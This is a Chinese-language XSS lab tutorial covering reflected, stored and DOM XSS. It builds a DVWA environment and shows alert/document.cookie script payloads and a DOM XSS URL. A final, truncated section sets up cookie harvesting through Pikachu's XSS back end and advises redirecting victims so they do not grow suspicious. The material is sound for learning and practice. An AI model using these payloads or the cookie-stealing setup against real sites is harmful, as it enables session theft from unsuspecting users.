XSS跨站脚本攻击
文章目录
- XSS跨站脚本攻击
- XSS 攻击的应用
0x01:XSS原理
-
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
-
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
- XSS攻击针对的是用户层面的攻击!
XSS的类型:
反射型XSS:
-
反射型 XSS,非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码。
-
反射型 xss 攻击的方法,攻击者通过发送邮件或诱导等方法,将包含有 xss 恶意链接发送给目标用户
-
当目标用户访问该链接时,服务器将接收该用户的请求并进行处理,
-
然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击。
存储型XSS:
- 存储型 XSS,持久化,代码是存储在服务器中的数据库里,
- 如在个人信息或发表文章等地方,可以插入代码,
- 如果插入的数据没有过滤或过滤不严,
- 那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击。
DOM型XSS:
-
DOM,全称 Document Object Model。
-
DOM 型 XSS
- 是一种特殊类型的反射型 XSS,
- 它是基于 DOM 文档对象模型的一种漏洞。
- 可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。
- 也就是说,客户端的脚本程序可以通过
-
DOM 来动态修改页面内容,
- 从客户端获取 DOM 中的数据并在本地执行,
- 而不需要与服务器交互,
- 它只发生在客户端处理数据阶段。
危害:存储型XSS>反射型XSS>DOM型XSS
环境搭建
- DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,
- 旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,
- 帮助Web开发者更好的理解Web应用安全防范的过程。
1.上传 DVWA 到 我们的centos 主机
-
把文件直接拖到 /var/www/html 目录下面
-
然后把文件夹的名字改短一点
cd /var/www/html unzip DVWA-master.zip #解压缩 mv DVWA-master DVWA #把名字改短一些
2.编辑 DVAW 数据库配置文件
生成新的配置文件 config.inc.php
cd DVWA/config #切换目录
cp config.inc.php.dist config.inc.php ##基于模版配置文件,生成新的配置文件 config.inc.php
vim config.inc.php #打开新生成的文件
修改配置
21行
$_DVWA[ 'db_user' ] = 'root'; #需要修改成你的 mysql 的 用户名
$_DVWA[ 'db_password' ] = 'kali'; #需要修改成你的 mysql 的密码
#27 28行 加上谷歌开源免费验证码 reCAPTCHA 的公钥和私钥
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
保存
esc #结束编辑
:wq #保存设置
3.修改文件权限
chown -R apache:apache /var/www/html
4.部署DVWA网站
物理机打开网址:
http://192.168.81.135/DVWA/setup.php #把IP地址换成自己的centos的IP地址
-
点击 create 即可创建完成
-
等待10秒即可返回登陆页面
登陆网站:
账户密码
Username:admin
Password:password
安全级别说明
- Low(低) -
- 此安全级别完全容易受到攻击,并且根本没有安全措施。
- 它的用途是作为Web应用程序漏洞
- 如何通过不良编码实践表现出来的示例,
- 并作为教授或学习基本利用技术的平台。
- Medium(中) -
- 此设置主要是为了给用户一个不良安全实践的例子,
- 其中开发人员尝试但未能保护应用程序。
- 它还对用户提出了改进其利用技术的挑战。
- High(高) -
- 此选项是对中等难度的扩展,
- 混合了较难或替代的不良做法来尝试保护代码。
- 该漏洞可能不允许相同程度的利用,这在各种(CTF) 竞赛中类似。
- Impossible(不可能) -
- 此级别应针对所有漏洞安全。
- 它用于将易受攻击的源代码与安全源代码进行比较
XSS DVWA Low级别
将安全级别改为Low
0x02:反射型 XSS
- 这个功能类似一个留言板,
- 输入信息后下面会增加对应的信息
获取cookie
我们添加一条 JavaScript 代码获取 cookie
在文本框中输入下列代码
#我们添加一条 JavaScript 代码获取 cookie
<script>alert(document.cookie);</script>
-
alert() 函数:弹出警告框
-
document.cookie 显示cookie信息
查看源代码
-
根据回显信息判断出,显示的文本内容是 Hello $name。
-
我们输入的信息被存放在$name 变量中。
这里我们弹的是cookie,还可以是其他的内容。
和sql注入有一点相似,就是攻击者可以构造恶意的代码。
<script>alert("你被黑了")</script>
#弹出【你被黑了】
<script>alert(/hack/)</script>
#弹出hack
<script>alert(1)</script>
#弹出1,对于数字可以不用引号
补充
什么是 Cookie?
Cookie 用于存储 web 页面的用户信息。
当 web 服务器向浏览器发送 web 页面时,在连接关闭后,服务端不会记录用户的信息。
Cookie 的作用就是用于解决 “如何记录客户端的用户信息”:
- 当用户访问 web 页面时,他的名字可以记录在 cookie 中。
- 在用户下一次访问该页面时,可以在 cookie 中读取用户访问记录。
0x03:存储型XSS
存储型 XSS 和反射型 XSS 的区别
- 反射型XSS 只会弹一次 cookie 信息。
- 存储型 XSS 每次访问这个页面都是会弹出 cookie 信息。
- 因为 存储型XSS 代码已经嵌入在了该 Web 站点当中,所以每次访问都会被执行。
获取cookie
<script>alert(document.cookie);</script>
任意输入名字和消息进行查看
查看源码
我们按F12查看源码 :
数据库中查看:
使用dvwa数据库
show databases;
use dvwa;
show tables;
select * from guestbook;
- 可以看到我门提交的数据被存放在数据库当中。
- 每次用户访问页面时 Web 程序会从数据库中读取出
- XSS 攻击代码,从而被重复利用。
0x04:DOM型XSS
- DOM,全称 Document Object Model。
- DOM 型 XSS
- 其实是一种特殊类型的反射型 XSS,
- 它是基于 DOM 文档对象模型的一种漏洞。
- 可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。
- 也就是说,客户端的脚本程序可以通过
- DOM 来动态修改页面内容,
- 从客户端获取 DOM 中的数据并在本地执行,
- 而不需要与服务器交互,
- 它只发生在客户端处理数据阶段。
基于DVWA XSS(DOM)
构造XSS代码:
<script>alert("xss")</script>
完整的代码:
http://192.168.81.135/DVWA/vulnerabilities/xss_d/?default=<script>alert("xss")</script>
选择English之后,网页地址变化
- 我们把地址栏的English改为我们的构造XSS代码,
- 然后Enter(回车)后查看结果
<script>alert("xss")</script>
按F12查看源码
可以看到,我们的脚本插入到代码中,修改了网页显示的内容
0x05:使用Pikachu Xss窃取管理员的cookie
攻击拓扑图:
1.环境准备:
-
先登录DVWA
-
管理员账户:admin
-
密码:password
-
-
打开pikachu平台
- 找到我们要利用的模块:
- pikachu----【管理工具】–【XSS后台】
登录
选中【cookie搜集】
2.修改代码:
cd /var/www/html/pikachu/pkxss/xcookie #切换到cookie相关的目录
vim cookie.php
- 把图上黄框那一行里面的网址修改为一个可信的网站:
- 这里的意思是当用户点击后
- 向我们的XSS平台写入cookie后
- 再跳转回原来的页面
这里我们跳转到原来的那个页面
header("Location:http://192.168.81.135/DVWA/vulnerabilities/xss_r/"); #跳转原来的页面,这里IP改为centos的IP地址
注意:
如果没有这一步 用户点击我们的链接后会一直停留在我们的黑客服务器的页面上,从而引起用户怀疑。
3.构造payload:
<script>document.location='